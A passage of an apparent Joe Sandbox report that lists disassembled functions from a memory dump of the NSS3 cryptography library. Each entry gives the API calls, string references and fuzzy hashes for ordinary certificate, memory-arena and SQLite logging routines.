Part of subcall function 6C5B3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5B3116
Part of subcall function 6C5B3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5B312B
Part of subcall function 6C5B3090: PK11_DestroyObject.NSS3(?,?), ref: 6C5B3154
Part of subcall function 6C5B3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B317E

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 25f703742c6ac03d91444aaef86e515a18b083017ec7a64862defc1d3938ab9a
Instruction ID: 2524ffa63a838b928ae0eda183e66dd4ebd63d260ca3696efef3b03f566f6922
Opcode Fuzzy Hash: 25f703742c6ac03d91444aaef86e515a18b083017ec7a64862defc1d3938ab9a
Instruction Fuzzy Hash: 9B61B571A00200ABEF105F65DC51FAB7AA9AF48748F484429FD05BAA52FB31D918C7A5

Function 6C5F3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C5F3440: PK11_GetAllTokens.NSS3 ref: 6C5F3481
Part of subcall function 6C5F3440: PR_SetError.NSS3(00000000,00000000), ref: 6C5F34A3
Part of subcall function 6C5F3440: TlsGetValue.KERNEL32 ref: 6C5F352E
Part of subcall function 6C5F3440: EnterCriticalSection.KERNEL32(?), ref: 6C5F3542
Part of subcall function 6C5F3440: PR_Unlock.NSS3(?), ref: 6C5F355B

TlsGetValue.KERNEL32 ref: 6C5F3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C5F3D9F
PR_Unlock.NSS3(?), ref: 6C5F3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C5F3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C5F3E4F

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

TlsGetValue.KERNEL32 ref: 6C5F3E97
EnterCriticalSection.KERNEL32(?), ref: 6C5F3EAB
PR_Unlock.NSS3(?), ref: 6C5F3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C5F3EEE

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: c4a72696b52632be9dde49750a636380e534f2121eb1a1e16f0eb5dc22b684c9
Instruction ID: fe2f9ef1cb374341e69a4e792848a83383fedf60132d562829392a869eaab429
Opcode Fuzzy Hash: c4a72696b52632be9dde49750a636380e534f2121eb1a1e16f0eb5dc22b684c9
Instruction Fuzzy Hash: 51512876A002009BFB15AF69DC8476A77B4EF45318F044568DE2987B12EB31E855CFD2

Function 6C5A2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(E4C3A9E4), ref: 6C5A2C5D

Part of subcall function 6C600D30: calloc.MOZGLUE ref: 6C600D50
Part of subcall function 6C600D30: TlsGetValue.KERNEL32 ref: 6C600D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C5A2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5A2CE0

Part of subcall function 6C5A2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C5A2CDA,?,00000000), ref: 6C5A2E1E
Part of subcall function 6C5A2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C5A2E33
Part of subcall function 6C5A2E00: TlsGetValue.KERNEL32 ref: 6C5A2E4E
Part of subcall function 6C5A2E00: EnterCriticalSection.KERNEL32(?), ref: 6C5A2E5E
Part of subcall function 6C5A2E00: PL_HashTableLookup.NSS3(?), ref: 6C5A2E71
Part of subcall function 6C5A2E00: PL_HashTableRemove.NSS3(?), ref: 6C5A2E84
Part of subcall function 6C5A2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C5A2E96
Part of subcall function 6C5A2E00: PR_Unlock.NSS3 ref: 6C5A2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5A2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C5A2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C5A2D3F
free.MOZGLUE(00000000), ref: 6C5A2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C5A2DB8
free.MOZGLUE ref: 6C5A2DC8

Part of subcall function 6C5A3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A3EC2
Part of subcall function 6C5A3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5A3ED6
Part of subcall function 6C5A3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5A3EEE
Part of subcall function 6C5A3E60: PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5A3F02
Part of subcall function 6C5A3E60: PL_FreeArenaPool.NSS3 ref: 6C5A3F14
Part of subcall function 6C5A3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5A3F27

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 97e4b3b62b3f74b9a92e2f365c2009df81efda19692e70521d9508c3f0dcd503
Instruction ID: b62818a245d52610acf25a949f4bc1b8792be6edbcf833f74c929559e39de9f0
Opcode Fuzzy Hash: 97e4b3b62b3f74b9a92e2f365c2009df81efda19692e70521d9508c3f0dcd503
Instruction Fuzzy Hash: AD51D071604211ABDB10DFA7DC86B5F7BE5EF94308F14082CE85983A52E731E817CB92

Function 6C5A7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C5A3F7F,?,00000055,?,?,6C5A1666,?,?), ref: 6C5A40D9
Part of subcall function 6C5A40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C5A1666,?,?), ref: 6C5A40FC
Part of subcall function 6C5A40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C5A1666,?,?), ref: 6C5A4138

PR_GetCurrentThread.NSS3 ref: 6C5A7CFD

Part of subcall function 6C669BF0: TlsGetValue.KERNEL32(?,?,?,6C6B0A75), ref: 6C669C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C6C9030), ref: 6C5A7D1B

Part of subcall function 6C5FFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C5A1A3E,00000048,00000054), ref: 6C5FFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C6C9048), ref: 6C5A7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C5A7D50
PR_GetCurrentThread.NSS3 ref: 6C5A7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C5A7D7D
free.MOZGLUE(?), ref: 6C5A7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C5A7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C5A7E19

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: e1b3251d999dee5ad1d52d7fbcc28d0aa7e937e5748dc19a19b24f0dfd115ac2
Instruction ID: 9fb4db8942999a18b92bb02bc06a9ec56614619bb6684c0dbe6552863cb6241b
Opcode Fuzzy Hash: e1b3251d999dee5ad1d52d7fbcc28d0aa7e937e5748dc19a19b24f0dfd115ac2
Instruction Fuzzy Hash: 6F41C672A001199BDB008FAA9C41BAF37E4AF9129CF050564EC15ABB55E730ED1ACBA5

Function 6C5B7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C5B80DD), ref: 6C5B7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C5B80DD), ref: 6C5B7F36
free.MOZGLUE(?,?,?,6C5B80DD), ref: 6C5B7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C5B80DD), ref: 6C5B7F5D
DeleteCriticalSection.KERNEL32(?,6C5B80DD), ref: 6C5B7F94
free.MOZGLUE(?), ref: 6C5B7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C5B80DD), ref: 6C5B7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C5B80DD), ref: 6C5B7FE6
free.MOZGLUE(?,6C5B80DD), ref: 6C5B802D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 8aa2d630fea73995817011b96c29ba049efbddd3ad143fd36056f8472394ea3b
Instruction ID: d082d8815ecfc5a75c1fe8b181697c7496a36502d870d85dfe5f2b95f7569b3d
Opcode Fuzzy Hash: 8aa2d630fea73995817011b96c29ba049efbddd3ad143fd36056f8472394ea3b
Instruction Fuzzy Hash: 4D4119F2B051009BDB10DFB99C89A4A7BB5AB873D8F14023DE516A7B41DF30D809CBA5

Function 6C5FFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5FFF00

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C5FFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C5FFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C5FFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5FFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5FFF8C

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 0757effd61fbaf56a3ab9227aee25e5703778d647cca76054a31c81da8daec8d
Instruction ID: 5d575b232471500adb7db1df0392c85ed5c0e2cfe536d67436e74b406b7529e0
Opcode Fuzzy Hash: 0757effd61fbaf56a3ab9227aee25e5703778d647cca76054a31c81da8daec8d
Instruction Fuzzy Hash: 8E3144B2A013129BF7148F588C40B9B76E8AF4634CF144238ED29A7F40EB31D915CBE9

Function 6C547D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C547E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C547E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C547EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C547F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C547ED8, 6C547F08, 6C547F19
database corruption, xrefs: 6C547EE2, 6C547F23
%s at line %d of [%.10s], xrefs: 6C547EE7, 6C547F28

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 228ba9411778a819a7327fb9bbaa2d7a37570207669a7c50fb207669ec8d5352
Instruction ID: 51af5abd4a427d5c564df0c6882e0530e46d5f79ffe9ae47f9901e5dd40be057
Opcode Fuzzy Hash: 228ba9411778a819a7327fb9bbaa2d7a37570207669a7c50fb207669ec8d5352
Instruction Fuzzy Hash: 7A61C170A042059FDB05CF25CC80FAA37B2BF85348F1589A9EC095BB52D731EC66CBA5

Function 6C52FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C52FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C52FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C52FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C52FE83

Part of subcall function 6C52FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C52FEFA
Part of subcall function 6C52FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C52FF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C52FD64, 6C52FE26
database corruption, xrefs: 6C52FD6E, 6C52FE30
%s at line %d of [%.10s], xrefs: 6C52FD73, 6C52FE35

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 341f6b5f9c70365e8e0856d326761a121268e223e7c41ab85b180933c151275b
Instruction ID: bd44b7d5005860a63d24b8f1fc5ef8cb52e0a3f8691fca6be519a930cbcfeda1
Opcode Fuzzy Hash: 341f6b5f9c70365e8e0856d326761a121268e223e7c41ab85b180933c151275b
Instruction Fuzzy Hash: AD518F71A00215DFDB04CFA9E890AAEB7F1FF48308F144169E905AB792E735EC51CBA4

Function 6C672F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C672FFD
sqlite3_initialize.NSS3 ref: 6C673007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C673032
sqlite3_mprintf.NSS3(6C6DAAF9,?), ref: 6C673073
sqlite3_free.NSS3(?), ref: 6C6730B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6730C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6730BB

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: d7bd2ae887a19dea170311d01e4419514c8e33ef26aed3643925db9ac9c15869
Instruction ID: 07c441ae2d2e0465ce7ff6e704effdbc13a8acfdf02b2560d820125fefcee313
Opcode Fuzzy Hash: d7bd2ae887a19dea170311d01e4419514c8e33ef26aed3643925db9ac9c15869
Instruction Fuzzy Hash: 7441C271600606EBDB10CF25D844A8AB7E5FF84368F148A38EC5987B40E731F995CBE4

Function 6C5F5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]_l), ref: 6C5F5F0A
TlsGetValue.KERNEL32 ref: 6C5F5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C5F5F2F
PR_Unlock.NSS3(890008E8), ref: 6C5F5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C5F5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C5F5F7D

Part of subcall function 6C5F5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C5F5F82,8B4274C0), ref: 6C5F5248
Part of subcall function 6C5F5220: EnterCriticalSection.KERNEL32(0F6C6C0D,?,6C5F5F82,8B4274C0), ref: 6C5F525C
Part of subcall function 6C5F5220: PR_SetError.NSS3(00000000,00000000), ref: 6C5F528E
Part of subcall function 6C5F5220: PR_Unlock.NSS3(0F6C6BF1), ref: 6C5F5299
Part of subcall function 6C5F5220: free.MOZGLUE(00000000), ref: 6C5F52A9

Strings

q]_l, xrefs: 6C5F5EDB, 6C5F5F09

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]_l
API String ID: 3150690610-4018457070
Opcode ID: 5165d6dbef3810127e5ea5a070692cb4b2bddae43bddd4768a0405c0740b79bf
Instruction ID: 73f9ff7a6f596f2c2126ae3e686c8bde53f30489fda7e91840e86774c752cf2a
Opcode Fuzzy Hash: 5165d6dbef3810127e5ea5a070692cb4b2bddae43bddd4768a0405c0740b79bf
Instruction Fuzzy Hash: 7E210AF1D002049FEB149F64EC416EFBBB4EF49308F544029E91AA7701EB319958CBD5

Function 6C5B8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C5C124D,00000001), ref: 6C5B8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C5C124D,00000001), ref: 6C5B8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C5C124D,00000001), ref: 6C5B8D73
PR_Unlock.NSS3(?,?,?,?,?,6C5C124D,00000001), ref: 6C5B8D8C

Part of subcall function 6C64DD70: TlsGetValue.KERNEL32 ref: 6C64DD8C
Part of subcall function 6C64DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C5C124D,00000001), ref: 6C5B8DBA

Strings

KRAM, xrefs: 6C5B8CF9
KRAM, xrefs: 6C5B8D3E

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: d9cf3566258362499c43b96a81ef8ad157bd3a9adb8fc12b755d20a6f2c3102c
Instruction ID: 516978428716093cd040ec48da78ebf995ae4887868f3e2c3e8f340a519bc57f
Opcode Fuzzy Hash: d9cf3566258362499c43b96a81ef8ad157bd3a9adb8fc12b755d20a6f2c3102c
Instruction Fuzzy Hash: F121A1B5A04602CFCB00EF79C89455ABBF0FF45318F15896BD99997701DB30D841CB92

Function 6C6B0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C6B0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C6B0EFA

Part of subcall function 6C59AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C59AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6B0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6B0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6B0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6B0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C6B0ED9, 6C6B0EE5, 6C6B0F06, 6C6B0F0B
Aborting, xrefs: 6C6B0EB3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
